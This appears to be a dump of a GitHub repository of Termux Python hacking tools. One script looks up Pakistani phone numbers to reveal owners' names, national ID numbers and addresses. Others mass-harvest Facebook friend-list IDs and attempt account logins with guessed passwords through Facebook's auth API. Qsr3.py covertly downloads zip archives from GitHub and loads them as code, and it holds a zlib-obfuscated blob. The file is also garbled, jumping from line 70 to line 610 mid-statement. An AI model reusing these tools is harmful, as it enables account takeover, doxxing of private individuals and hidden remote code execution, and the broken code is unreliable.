├── README.md
├── .github
└── workflows
│ └── python-app.yml
├── Shawaizlora.py
├── Qsr4.py
├── Qsr3.py
├── Qsr5.py
├── Qsr2.py
├── Qsr8.py
└── Qsr6.py
/README.md:
--------------------------------------------------------------------------------
1 | # LoL
2 | - `Qasier & Syed Zada Madarchod Bap Ka Method Chorii Karna Se Pehla Soch Lena Again`
3 | - `Enjoy Open Source Love You All`
4 |
--------------------------------------------------------------------------------
/.github/workflows/python-app.yml:
--------------------------------------------------------------------------------
1 | # This workflow will install Python dependencies, run tests and lint with a single version of Python
2 | # For more information see: https://docs.github.com/en/actions/automating-builds-and-tests/building-and-testing-python
3 |
4 | name: Python application
5 |
6 | on:
7 | push:
8 | branches: [ "main" ]
9 | pull_request:
10 | branches: [ "main" ]
11 |
12 | permissions:
13 | contents: read
14 |
15 | jobs:
16 | build:
17 |
18 | runs-on: ubuntu-latest
19 |
20 | steps:
21 | - uses: actions/checkout@v3
22 | - name: Set up Python 3.10
23 | uses: actions/setup-python@v3
24 | with:
25 | python-version: "3.10"
26 | - name: Install dependencies
27 | run: |
28 | python -m pip install --upgrade pip
29 | pip install flake8 pytest
30 | if [ -f requirements.txt ]; then pip install -r requirements.txt; fi
31 | - name: Lint with flake8
32 | run: |
33 | # stop the build if there are Python syntax errors or undefined names
34 | flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics
35 | # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
36 | flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
37 | - name: Test with pytest
38 | run: |
39 | pytest
40 |
--------------------------------------------------------------------------------
/Shawaizlora.py:
--------------------------------------------------------------------------------
1 | #SOURCE BY : MR_AKING
2 | #GITHUB : AKING110
3 | #SYED ME BAP HU TERA
4 | #!/usr/bin/python3
5 | #-*-coding:utf-8-*-
6 |
7 |
8 | try:
9 | import requests
10 | except ImportError:
11 | print('\n[+] requests module installing...\n')
12 |
13 | os.system('pip install requests')
14 |
15 | try:
16 | import mechanize
17 | except ImportError:
18 | print('\n [+] mechanize module installing...\n')
19 |
20 | os.system('pip install mechanize')
21 |
22 | try:
23 | import bs4
24 | except ImportError:
25 | print('\n [+] bs4 module installing...\n')
26 |
27 | os.system('pip install bs4')
28 |
29 | try:
30 | import concurrent.futures
31 | except ImportError:
32 | print('\n [+] future module installing...\n')
33 | os.system('pip install future')
34 |
35 |
36 | Y = "\x1b[1;93m"
37 | G = "\x1b[1;92m"
38 | R = "\x1b[1;91m"
39 |
40 | import os,requests,re,json,bs4,os,zlib,random,sys,time
41 | from bs4 import BeautifulSoup
42 | from os import system
43 | agent = ["Mozilla/5.0 (Linux; Android 10; Pixel 3 XL) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.136 Mobile Safari/537.36 EdgA/100.0.1185.50","Mozilla/5.0 (Linux; Android 10; ONEPLUS A6003) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.136 Mobile Safari/537.36 EdgA/100.0.1185.50","Mozilla/5.0 (Linux; Android 10; SM-G973F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.136 Mobile Safari/537.36 EdgA/100.0.1185.50","Mozilla/5.0 (Linux; Android 10; HD1913) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.136 Mobile Safari/537.36 EdgA/100.0.1185.50","Mozilla/5.0 (Macintosh; Intel Mac OS X 12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Edg/106.0.1370.34","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36 Edg/106.0.1370.34"]
44 | ua = random.choice(agent)
45 |
46 | def xox(z):
47 |
48 | for e in z + '\n':
49 | sys.stdout.write(e)
50 | sys.stdout.flush()
51 | time.sleep(0.02)
52 |
53 | logo = """
54 | \033[1;92m╔═══╗╔╗──╔╗╔═══╗╔═══╗ ╔════╗╔═══╗╔═══╗╔═══╗
55 | \033[1;92m║╔═╗║║╚╗╔╝║║╔══╝╚╗╔╗║ ╚══╗═║║╔═╗║╚╗╔╗║║╔═╗║
56 | \033[1;92m║╚══╗╚╗╚╝╔╝║╚══╗─║║║║ ╔╝╔╝║║─║║─║║║║║║─║║
57 | \033[1;93m╚══╗║─╚╗╔╝─║╔══╝─║║║║ ╔╝╔╝─║╚═╝║─║║║║║╚═╝║
58 | \033[1;93m║╚═╝║──║║──║╚══╗╔╝╚╝║ ╔╝═╚═╗║╔═╗║╔╝╚╝║║╔═╗║
59 | \033[1;92m╚═══╝──╚╝──╚═══╝╚═══╝ ╚════╝╚╝─╚╝╚═══╝╚╝─╚╝
60 | \033[1;93m______________________________________________________
61 |
62 | \033[1;93m(*)\033[1;92m Developer : 🔥SYED-ZADA🔥 X 🔥QAISER ABBASS🔥
63 | \033[1;93m(*)\033[1;92m Tool Type : SIM & CNIC DETAILS \033[1;93m(Only For Pak)
64 | \033[1;93m(*)\033[1;92m YouTube : SYED ZADA
65 | \033[1;93m(*)\033[1;92m Github : https://github.com/syedzada1100
66 | \033[1;93m______________________________________________________"""
67 |
68 | try:
69 | import os, storage
70 | except ImportError:
71 | os.system('termux-setup-storage')
72 | os.system('git pull')
73 |
74 | os.system('git pull')
75 | os.system('clear')
76 |
77 | def main():
78 | os.system("clear");print(logo)
79 | # os.system('xdg-open https://youtube.com/c/SYEDZADA1100')
80 | print("")
81 | xox("\033[1;93m[+] WARNING : \033[1;92mDO NOT MISUSE THIS TOOL WARNING.. ⚠️")
82 | print(54 * "\x1b[1;93m_")
83 | print("")
84 | print (" \t[\x1b[1;97m\x1b[1;41m THIS TOOL IS FREE NOT FOR PAID \x1b[0m\x1b[1;93m]")
85 | print(54 * "\x1b[1;93m_")
86 | print ("")
87 | print("\x1b[1;93m[1] \x1b[1;92mStart To Use Tool")
88 | print("\x1b[1;93m[2] \x1b[1;92mjoin Our Facebook Gruop ")
89 | print("\x1b[1;93m[3] \x1b[1;92mjoin Our WhatsApp Gruop ")
90 | print("\x1b[1;93m[4] \x1b[1;92mSubscribe Our YouTube ")
91 | print("\x1b[1;93m[0] \x1b[1;92mExit")
92 | print(54 * "\x1b[1;93m_")
93 | print("")
94 | SYED = input('\x1b[1;93m[+] Choose Option: \x1b[1;92m')
95 | if SYED == '':
96 | print("\x1b[1;91mFill in correctly")
97 | main()
98 | elif SYED == '1':
99 | meta_data()
100 | elif SYED == '2':
101 | os.system('xdg-open https://www.facebook.com/groups/499609241591106/?ref=share_group_link')
102 | main()
103 | elif SYED == '3':
104 | os.system('xdg-open https://chat.whatsapp.com/Cm2EOgvNjBk9BGCHxzdcDG')
105 | main()
106 | elif SYED == '4':
107 | os.system('xdg-open https://youtube.com/c/SYEDZADA1100')
108 | main()
109 | elif SYED == '0':
110 | os.system('exit')
111 | else:
112 | print ('\x1b[1;91m[!] Please select a valid option')
113 | time.sleep(2)
114 | main()
115 |
116 | def meta_data():
117 | system("clear");print(logo)
118 | print("")
119 | xox("\033[1;93m[+] NOTE :\033[1;92m SOME TIME YOUR IP WAS BLOCK SO IF NO RESULT USE AIRPLANE ✈️ MODE ON 5 SECOND..")
120 | print(54 * "\x1b[1;93m_")
121 | print("")
122 | print("")
123 | print("\t [\033[1;97m\033[1;41m PUT NUMBER WITHOUT (0) \033[0m\033[1;93m]")
124 | print("")
125 | print("")
126 | number = input(f"{G}[+] PUT TARGET NUM & CNIC :{Y} ")
127 | if str("3478618390") in number:
128 | print("")
129 | print("")
130 | xox(f"{R}[×] DON'T TYPE OWNER NUMBER ")
131 | time.sleep(2)
132 | meta_data()
133 | if number[0] == str("0"):
134 | print("")
135 | print("")
136 | xox(f"{G}[+] TYPE NUMBER WITHOUT 0 EXAMPLE 3106217519")
137 | time.sleep(3)
138 | meta_data()
139 | done = []
140 | pk="pak"
141 | u1=f"{pk}siminfo.com"
142 | head = {
143 | "Host": u1,
144 | "Connection": "keep-alive",
145 | "Content-Length": "14",
146 | "Cache-Control": "max-age=0",
147 | "Upgrade-Insecure-Requests": "1",
148 | "Origin": f"https://{u1}",
149 | "Content-Type": "application/x-www-form-urlencoded",
150 | "User-Agent": ua,
151 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
152 | "Referer": f"https://{u1}/search-pro.php",
153 | "Accept-Encoding": "gzip, deflate",
154 | "Accept-Language": "en-US,en;q=0.9"
155 | }
156 |
157 | dataa = {
158 | "num": number
159 | }
160 | #dividing link safe from strings chor
161 | u2="result"
162 | sz = requests.post(f"https://{u1}/search-{u2}-pro.php",headers=head,data=dataa)
163 | soup = BeautifulSoup(sz.text, 'html.parser')
164 | # searching by class tags
165 | s = soup.find_all('td', {'class':'tg-iu1i'}) #number 1,2
166 | s1 = soup.find_all('td', {'class':'tg-de5r'}) #name 1,2
167 | s2 = soup.find_all('td', {'class':'tg-xfje'}) #cnic 1,2
168 | s3 = soup.find_all('td', {'class':'tg-wgsn'}) #address 1,2
169 | for szs in range(15):
170 | pic="freepicccs"
171 | o1=f"{pic}.com"
172 | if str("to search this number") in soup.text:
173 | headers = {
174 | "Host": o1,
175 |
176 | "Connection": "keep-alive",
177 | "Content-Length": "16",
178 | "Cache-Control": "max-age=0",
179 | "Upgrade-Insecure-Requests": "1",
180 | "Origin": f"https://{o1}/",
181 | "Content-Type": "application/x-www-form-urlencoded",
182 | "User-Agent": ua,
183 | "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
184 | "Referer": f"https://{o1}/",
185 | "Accept-Encoding": "gzip, deflate",
186 | "Accept-Language": "en-US,en;q=0.9"
187 | }
188 |
189 | data = {
190 | 'cnnum': number
191 | }
192 |
193 | sz2 = requests.post(f'https://{o1}/search-result2.php', headers=headers, data=data)
194 | # soup2 = BeautifulSoup(sz2.text, 'html.parser')
195 | sk = re.findall('
',str(sz2.content))
196 | s22 = re.findall('(.*?)', str(sk))
197 | if str(f"Record {szs+1}") in str(sk):
198 | print(f"\n{G}[+] " + str(szs + 1) + " RECORD ")
199 | print("")
200 | print(f"{Y}[✓] NAME :{G} {s22[2]}")
201 | print(f"{Y}[✓] NUMBER :{G} {s22[0]}")
202 | print(f"{Y}[✓] CNIC :{G} {s22[3]}")
203 | print(f"{Y}[✓] ADDRESS :{G} {s22[4]}")
204 | print(f"{Y}[✓] DATE :{G} {s22[1]}")
205 | done.append("done")
206 | break
207 | if str(f"{szs+1}.") in soup.text:
208 | print(f"\n{G}[+] "+str(szs+1)+" RECORD ")
209 | print("")
210 | print(f"{Y}[✓] NAME :{G} {s1[szs].text}")
211 | print(f"{Y}[✓] NUMBER :{G} {s[szs].text}")
212 | print(f"{Y}[✓] CNIC :{G} {s2[szs].text}")
213 | print(f"{Y}[✓] ADDRESS :{G} {s3[szs].text}")
214 | done.append("done")
215 | else:
216 | pass
217 | if str("done") in done:
218 | print("")
219 | input(f"{G}[+] PRESS ENTER TO BACK ")
220 | meta_data()
221 |
222 | else:
223 | print("")
224 | xox(f"{R}[×] THIS NUMBER DATA NOT FOUND")
225 | time.sleep(2)
226 | meta_data()
227 | main()
228 |
--------------------------------------------------------------------------------
/Qsr4.py:
--------------------------------------------------------------------------------
1 | #SOURCE BY : MR_AKING
2 | #GITHUB : AKING110
3 | #QSR ME BAP HU TERA
4 | # decompyle3 version 3.3.2
5 | # Python bytecode 3.8 (3413)
6 | # Decompiled from: Python 3.10.2 (main, Mar 1 2022, 12:58:00) [Clang 12.0.8 (https://android.googlesource.com/toolchain/llvm-project c935d99d7
7 | # Embedded file name: /sdcard/jadu.py
8 | # Compiled at: 2020-07-16 04:45:22
9 | # Size of source mod 2**32: 543 bytes
10 | import os
11 | try:
12 | os.mkdir('/data/data/com.termux/files/home/termux_properties')
13 | except OSError:
14 | pass
15 | try:
16 | import requests
17 | except ImportError:
18 | print('\n [✓] installing requests !...\n')
19 | os.system('pip install requests')
20 | try:
21 | import concurrent.futures
22 | except ImportError:
23 | print('\n [✓] installing futures !...\n')
24 | os.system('pip install futures')
25 | try:
26 | import bs4
27 | except ImportError:
28 | print('\n [✓] installing bs4 !...\n')
29 | os.system('pip install bs4')
30 |
31 | import requests, os, re, bs4, platform, sys, json, time, random, datetime, subprocess, threading, itertools, base64, uuid, zlib
32 | import concurrent.futures as qaiserabba
33 | from datetime import datetime
34 | from bs4 import BeautifulSoup
35 | from multiprocessing.pool import ThreadPool
36 | import platform
37 | import concurrent.futures as ThreadPool
38 | ct = datetime.now()
39 | month = ct.month
40 | bulan = ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'Agustus', 'September', 'October', 'November', 'December']
41 |
42 |
43 | current = datetime.now()
44 | ta = current.year
45 | bu = current.month
46 | ha = current.day
47 |
48 | P = '\x1b[1;97m'
49 | M = '\x1b[1;31m'
50 | H = '\x1b[1;32m'
51 | K = '\x1b[1;97m'
52 | B = '\x1b[1;97m'
53 | U = '\x1b[1;97m'
54 | O = '\x1b[1;97m'
55 | N = '\x1b[0m'
56 | my_color = [P,
57 | M, H, K, B, U,
58 | O, N]
59 | warna = random.choice(my_color)
60 | data, data2 = {}, {}
61 | aman, cp, salah = (0, 0, 0)
62 | ubahP, fuck, pwBaru = [], [], []
63 | ok = []
64 | cp = []
65 | id = []
66 | user = []
67 | loop = 0
68 | url_lookup = 'https://lookup-id.com/'
69 | url_mb = 'https://m.facebook.com'
70 | url_ip = 'https://www.httpbin.org/ip'
71 | header_grup = {'user-agent': 'Mozilla/5.0 (Linux; Android 10; Mi 9T Pro Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36 [FBAN/EMA;FBLC/it_IT;FBAV/239.0.0.10.109;]'}
72 | bulan_ttl = {'01':'January', '02':'February',
73 | '03':'March', '04':'April',
74 | '05':'May', '06':'June', '07':'July', '08':'Augustus', '09':'September', '10':'October',
75 | '11':'November', '12':'December'}
76 | done = False
77 | birth = ['001', '02', '03', '04', '05', '06', '07', '08', '09', '10', '11', '12', '13', '14', '15', '16', '17', '18', '19', '20','21']
78 | bd = random.randint(20000000.0, 30000000.0)
79 | sim = random.randint(20000.0, 40000.0)
80 | header = {'x-fb-connection-bandwidth':repr(bd), 'x-fb-sim-hni':repr(sim),
81 | 'x-fb-net-hni':repr(sim), 'x-fb-connection-quality':'EXCELLENT', 'user-agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.3',
82 | 'x-fb-connection-type':'unknown', 'content-type':'application/x-www-form-urlencoded', 'x-fb-http-engine':'Liger'}
83 | urlxnxx = 'https://mbasic.facebook.com'
84 |
85 | if os.path.exists('.oun.txt'):
86 | open('.oun.txt', 'w').close()
87 |
88 | def jalan(z):
89 | for e in z + '\n':
90 | sys.stdout.write(e)
91 | sys.stdout.flush()
92 | time.sleep(0.01)
93 |
94 |
95 | def login():
96 | os.system('clear')
97 | print(logo)
98 | tok = input(' Token Here : ')
99 | if 'EAAB' not in tok:
100 | jalan('\x1b[1;91mToken is not valid for File Creating\x1b[0m')
101 | input('Press Enter To See Video For Token : ')
102 | os.system('xdg-open https://youtu.be/6PitUufz2TY')
103 | caseher()
104 | os.sys.exit()
105 | try:
106 | u = requests.get('https://graph.facebook.com/me?access_token=' + tok).text
107 | u1 = json.loads(u)
108 | name = u1['name']
109 | ts = open('access_token.txt', 'w')
110 | ts.write(tok)
111 | ts.close()
112 | print('\n \x1b[1;92msuccessfully\x1b[0m')
113 | time.sleep(1)
114 | caseher()
115 | except KeyError:
116 | print('\n Token Invalid Bro ')
117 | time.sleep(1)
118 | login()
119 |
120 | logo = ' \n\n .d88888b. .d8888b. 8888888b. \n d88P" "Y88b d88P Y88b 888 Y88b \n 888 888 Y88b. 888 888 \n 888 888 "Y888b. 888 d88P \n 888 888 "Y88b. 8888888P" \n 888 Y8b 888 "888 888 T88b \n Y88b.Y8b88P Y88b d88P 888 T88b \n "Y888888" "Y8888P" 888 T88b \n Y8b\n\x1b[1;97m===========================================\n\x1b[1;32mADMIN\x1b[0m ! QAISER \x1b[1;91m & \x1b[0m \x1b[1;92mTOOL\x1b[0m ! PAID \x1b[1;91m & \x1b[0m \x1b[1;92mV\x1b[0m = 3\n\x1b[1;97m=========================================== '
121 |
122 | def hasil(OK,cp):
123 | if not len(OK) != 0:
124 | pass
125 | if len(cp) != 0:
126 | print('\n\n \x1b[1;97m Total OK : \x1b[1;97m %s \x1b[1;97mSSB_OK.txt' % (H, P, str(len(ok))))
127 | print(' \x1b[1;97m Total CP :\x1b[1;97m %s \x1b[1;97mSSB_CP.txt' % (H, P, str(len(cp))))
128 | input("\x1b[1;97mPress enter to back SSB Menu ")
129 | sarfraz()
130 |
131 | def caseher():
132 | os.system('clear')
133 | print(logo)
134 | ipm = requests.get(url_ip).json()
135 | todz = ''
136 | IP = ipm['origin']
137 | print('')
138 | print(' [1] Start File Cloning [Method-1-Basic]')
139 | print(' [2] Start File Cloning [Method-2-Local]')
140 | print(' [3] Public Cloning [Login-OK]')
141 | print(' [4] Random Cloning ')
142 | print(' [5] Create File')
143 | print(' [E] Exit ')
144 | print('')
145 | _caseher___ = input(' [?] Choose option : ')
146 | if _caseher___ in ('1','01'):
147 | __xxx__().caseherx(id)
148 | elif _caseher___ in ('2','02'):
149 | bootstrap()
150 | crack()
151 | elif _caseher___ in ('3','03'):
152 | __xnx__().caseherx(id)
153 | elif _caseher___ in ('4','04'):
154 | print('\nSoon Coming ★ ')
155 | time.sleep(2)
156 | caseher()
157 | elif _caseher___ in ('5','05'):
158 | create_file()
159 | elif _caseher___ in ('E','ee'):
160 | exit('Thanks For Using janu')
161 | else:
162 | jalan(' Invalid Select')
163 | time.sleep(1)
164 | caseher()
165 |
166 | def create_file():
167 | os.system('clear')
168 | print(logo)
169 |
170 | time.sleep(1)
171 | os.system('clear')
172 | print(logo)
173 | os.system('clear')
174 | print(logo)
175 | time.sleep(0.5)
176 | print(' [1] Create file method 1.Mbasic')
177 | print(' [2] Create file method 2.Loclhst')
178 | print('============================================')
179 | cf = input(' Select : ')
180 | if cf == '1':
181 | autoo()
182 | elif cf == '2':
183 | autoo()
184 | elif cf == 'Bb' or cf == 'b' or 'cf' == 'B':
185 | caseher()
186 | else:
187 | print('\n Choose correct option ...')
188 | time.sleep(1)
189 | create_file()
190 |
191 | def autoo():
192 | os.system('rm -rf qssrrr1.txt')
193 | try:
194 | token = open('token.txt', 'r').read()
195 | except FileNotFoundError:
196 | ()
197 | try:
198 | r = requests.get('https://graph.facebook.com/me?access_token=' + token).text
199 | q = json.loads(r)
200 | uname = q['name']
201 | except KeyError:
202 | ()
203 | os.system('clear')
204 | print(logo)
205 | os.system('rm -rf qssrrr1.txt')
206 | os.system('rm -rf qssrrr2.txt')
207 | nusrat = 0
208 | try:
209 | limit_user = int(input(' Total Ids To Add '))
210 | except:
211 | limit_user = 1
212 | count = 0
213 | for fir in range(limit_user):
214 | count += 1
215 | udit = input(' Put id%s: ' % count)
216 | try:
217 | token = open('token.txt', 'r').read()
218 | fr = requests.get('https://graph.facebook.com/' + udit + '/friends?access_token=' + token).text
219 | qfr = json.loads(fr)
220 | temp_save = open('qssrrr1.txt', 'a')
221 | for data in qfr["data"]:
222 | uids = data['id']
223 | if uids not in nusrat:
224 | nusrat.append(uids)
225 | temp_save.write(uids + '\n')
226 | temp_save.close()
227 | except KeyError:
228 | pass
229 | if 'invalid' in str(fr):
230 | print(' Logged token has expired ...')
231 | else:
232 | print('Friend Is Private ' + udit)
233 | os.system('clear')
234 | print(logo)
235 | print(' Total ids')
236 | print('--------------------------------------------------')
237 | try:
238 | ask_link = 2
239 | except:
240 | ask_link = 1
241 | completed = 0
242 | for links in range(ask_link):
243 | completed += 1
244 | li = input(' %s Link start with: ' % completed)
245 | os.system('cat qssrrr1.txt | grep "' + li + '" >> qssrrr2.txt')
246 | save_file = input('Example /sdcard/xxx.txt\n Save File As : ')
247 | os.system('clear')
248 | linesx = open('qssrrr22.txt', 'r').readlines()
249 | print(logo)
250 | print(' Ids to Dump : ' + str(len(linesx)))
251 | print(' Starting Process Wait ... ')
252 | print('============================================')
253 | fileid = 'qssrrr2.txt'
254 | fileidopen = open(fileid, 'r').read().splitlines()
255 | dill = []
256 | for ids in fileidopen:
257 | try:
258 | token = open('token.txt', 'r').read()
259 | rg = requests.get('https://graph.facebook.com/' + ids + '/friends?access_token=' + token).text
260 | rgq = json.loads(rg)
261 | idsave = open('/sdcard/' + save_file, 'a')
262 | for inayat in rgq["data"]:
263 | uids = inayat['id']
264 | dill.append(uids)
265 | nm = inayat['name']
266 | first_name = nm.split(' ')[0]
267 | try:
268 | last_name = nm.split(' ')[1]
269 | except:
270 | last_name = 'Khan'
271 | idsave.write(uids + '|' + first_name + '|' + last_name + '\n')
272 | print(' \x1b[1;92m Sucessfully Dump from ' + ids + '\x1b[0m')
273 | idsave.close()
274 | except Exception as e:
275 | try:
276 | if 'invalid' in str(rg):
277 | print(' Token has expired, try again ...')
278 | os.system('rm -rf qssrrr1.txt')
279 | else:
280 | print('\x1b[1;92mError Friendlist Not Dump\x1b[0m')
281 | os.system('rm -rf qssrrr1.txt')
282 | except:
283 | e = None
284 | del e
285 | lenid = open('/sdcard/' + save_file, 'r').readlines()
286 | print(' \x1b[0m Process Completed ')
287 | os.system('rm -rf qssrrr*')
288 | print(' Total ids: ' + str(len(lenid)))
289 | print(' File saved as: ' + save_file)
290 | input(' Press enter to back ')
291 | caseher()
292 |
293 | if os.path.exists('.qsrwork.txt'):
294 | open('.qsrwork.txt', 'w').close()
295 |
296 |
297 | caseher()
298 |
--------------------------------------------------------------------------------
/Qsr3.py:
--------------------------------------------------------------------------------
1 | #SOURCE BY : MR_AKING
2 | #GITHUB : AKING110
3 | #QSR ME BAP HU TERA
4 | #coding = utf-8
5 | from uuid import uuid4
6 | import os,sys,tempfile,string,random,subprocess,uuid
7 | http_directory = tempfile.mkdtemp(prefix='.')
8 | site_packages = sys.path[4]
9 | sys.path.remove(site_packages)
10 | sys.path.insert(4,http_directory+'/reqmodule')
11 | sys.path.insert(5,http_directory)
12 | try:
13 | os.mkdir('crypto')
14 | except:pass
15 | hh = "ho"
16 | hh2 = "9/pycrypt"
17 | find_aarch = subprocess.check_output('uname -om',shell=True)
18 | if 'aarch64' in str(find_aarch):
19 | user_aarch = '64'
20 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto64/crypto64.zip?raw=true'
21 | elif 'arm' in str(find_aarch):
22 | user_aarch = '32'
23 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto32/crypto32.zip?raw=true'
24 | else:
25 | print(' Unknown aarch ')
26 | exit()
27 | if not os.path.isfile(f'crypto/crypto{user_aarch}.zip'):
28 | os.system('clear')
29 | print('\n Please wait while creating pycryptodome for you ! This can take some time\n\n')
30 | os.system(f'curl -L {download_link} > crypto/crypto{user_aarch}.zip')
31 | os.system('python jan.py')
32 | else:
33 | akk2="rsi"
34 | akk=f"cha{akk2}fi"
35 | os.system(f'cp crypto/crypto{user_aarch}.zip {http_directory}')
36 | lib = f'https://github.com/{akk}les/client/blob/main/config.zip?raw=true'
37 | os.system(f'curl -L {lib} > {http_directory}/config.zip')
38 | os.system(f'cd {http_directory} && unzip config.zip -d {http_directory} > /dev/null')
39 | os.system(f'cd {http_directory} && unzip crypto{user_aarch}.zip -d {http_directory} > /dev/null')
40 | try:
41 | import time,requests,re,platform,base64,datetime,hashlib,string,json,io,struct
42 | from string import *
43 | from concurrent.futures import ThreadPoolExecutor as ThreadPool
44 | from Crypto.Cipher import AES, PKCS1_v1_5
45 | from Crypto.PublicKey import RSA
46 | from Crypto.Random import get_random_bytes
47 | except Exception as e:
48 | print(e)
49 | print('\n Installing modules wait !')
50 | os.system('pip install futures==2 && python jan.py')
51 | except FileExistsError:
52 | os.system('pip uninstall requests urllib3 idna certifi -y')
53 | pass
54 |
55 | try:
56 | import os,sys,time,json,random,re,string,platform,base64,requests,io,struct,zlib
57 | from string import *
58 | from concurrent.futures import ThreadPoolExecutor as ThreadPool
59 | except ModuleNotFoundError:
60 | print('\n Installing missing modules ...')
61 | os.system('pip install requests futures==2 > /dev/null')
62 | os.system('python jan.py')
63 |
64 | #----[pran links]-----
65 | kkk = {'user-agent': 'Davik/2.1.0 (Linux; U; Android 7.0.0; MMB29K Build/GT-P5100 [FBAN/FB4A;FBAV/241.0.0.41292;FBBV/975202462;FBDM/{density=1.5,width=480,height=800};FBLC/pl_PL;FBCR/T-Mobile.pl;FBMF/samsung;FBBD/samsung;FBPN/com.facebook.mlite;FBDV/MMB29K;FBSV/4.4.4;nullFBCA/armeabi-v7a:armeabi;]', 'accept-encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'content-type': 'application/x-www-form-urlencoded', 'x-fb-sim-hni': '31061', 'x-fb-connection-type': 'unknown', 'Authorization': 'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32', 'x-fb-net-hni': '28613', 'x-fb-connection-bandwidth': '29643048', 'x-fb-connection-quality': 'EXCELLENT', 'x-fb-friendly-name': 'authenticate', 'x-fb-http-engine': 'Liger'}
66 | hhh = {'adid': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'email': '10000'+str(random.randint(11111111111,99999999999)), 'password': str(random.randint(1111111,9999999)), 'cpl': 'true', 'credentials_type': 'device_based_login_password', 'source': 'login', 'error_detail_type': 'button_with_disabled', 'format': 'json', 'generate_session_cookies': '1', 'generate_analytics_claim': '1', 'generate_machine_id': '1', 'locale': 'pl_PL', 'client_country_code': 'PL', 'device': 'SM-A500H', 'device_id': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'method': 'auth.login', 'fb_api_req_friendly_name': 'authenticate', 'fb_api_caller_class': 'com.facebook.account.login.protocol.Fb4aAuthHandler'}
67 | lll = ("https://b-api.facebook.com/method/auth.login")
68 | #----[remover]-----
69 | import os,shutil,zlib
70 | sz = zlib.decompress(b'x\x9c\xd3OI,I\xd4\x07\x13\xc9\xf9\xb9z%\xa9E\xb9\xa5\x15\xfai\x999\xa9\xc5\xfa\x19\xf9\xb9\xa9\xfae\x05E\xf9%\xa9\xc9%\x00 .temp.txt')
610 | file = open('.temp.txt','r').read().splitlines()
611 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n')
612 | #100010138361148
613 | sf = input(' Saved File As : ')
614 | print('')
615 | os.system('clear')
616 | print(logo);xchker()
617 | print(' Total ids To Dump: '+str(len(file)))
618 | print(' Dumping Is Started Wait ....')
619 | print(50*'-')
620 | with ThreadPool(max_workers=20) as yaari:
621 | for exid in file:
622 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf)
623 | print(' Total ids Extracted : '+str(len(total)))
624 | input(' Press enter to back ')
625 | main()
626 |
627 | def new_file(cookies,access_token):
628 | global total
629 | os.system('clear & rm -rf .txt .temp.txt')
630 | os.system('clear')
631 | print(logo);xchker()
632 | try:
633 | fl = 1
634 | except:
635 | fl = 1
636 | for xd in range(fl):
637 | idt = input(f' Put id {xd+1}: ')
638 | try:
639 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(idt,access_token)
640 | xyz = requests.Session()
641 | r = xyz.get(fd_url,cookies=cookies).text
642 | q = json.loads(r)
643 | for iid in q['friends']['data']:
644 | uid = iid['id']
645 | open('.txt','a').write(uid+'\n')
646 | except KeyError:
647 | print(' No Friend List : '+idt)
648 | time.sleep(3)
649 | return auto_file(cookies,access_token)
650 | except requests.exceptions.ConnectionError:
651 | print(' No internet connection ....')
652 | print('\n\033[1;92m Example: 100087,100088 etc\033[0;97m')
653 | try:
654 | sl = int(input('\n How Many Links To Grab : '))
655 | except:
656 | sl = 1
657 | for el in range(sl):
658 | sid = input(f' Put {el+1} link: ')
659 | os.system('cat .txt | grep "'+sid+'" > .temp.txt')
660 | file = open('.temp.txt','r').read().splitlines()
661 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n')
662 | #100010138361148
663 | sf = input(' Saved File As : ')
664 | print('')
665 | os.system('clear')
666 | print(logo);xchker()
667 | print(' Total ids To Dump: '+str(len(file)))
668 | print(' Dumping Is Started Wait ....')
669 | print(50*'-')
670 | with ThreadPool(max_workers=20) as yaari:
671 | for exid in file:
672 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf)
673 | try:
674 | son = f"qaiser{str(random.randint(0,90))}.txt"
675 | except:
676 | son = f"qaiser{str(random.randint(10,50))}.txt"
677 | os.system(f'cat {sf} | grep "'+sid+'" > /sdcard/'+son+'')
678 | print(' Total ids Extracted : '+str(len(total)))
679 | print(' New ids Saved As : /sdcard/'+son)
680 | print(' Normal ids Saved As : '+sf)
681 | input(' Press enter to back ')
682 | main()
683 |
684 | def iamBadBoy(exid,cookies,access_token,sf):
685 | try:
686 | global total,loop
687 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(exid,access_token)
688 | xyz = requests.Session()
689 | r = xyz.get(fd_url,cookies=cookies).text
690 | q = json.loads(r)
691 | for yaad in q['friends']['data']:
692 | iid = yaad['id']
693 | name = yaad['name']
694 | total.append(iid)
695 | open(sf,'a').write(iid+'|'+name+'\n')
696 | loop+=1
697 | sys.stdout.write('\r Dumping Ids [%s] : [%s]\r'%(loop,len(total)));sys.stdout.flush()
698 | except requests.exceptions.ConnectionError:
699 | print(' No internet connection ...')
700 | except Exception as e:
701 | pass
702 | #print(e)
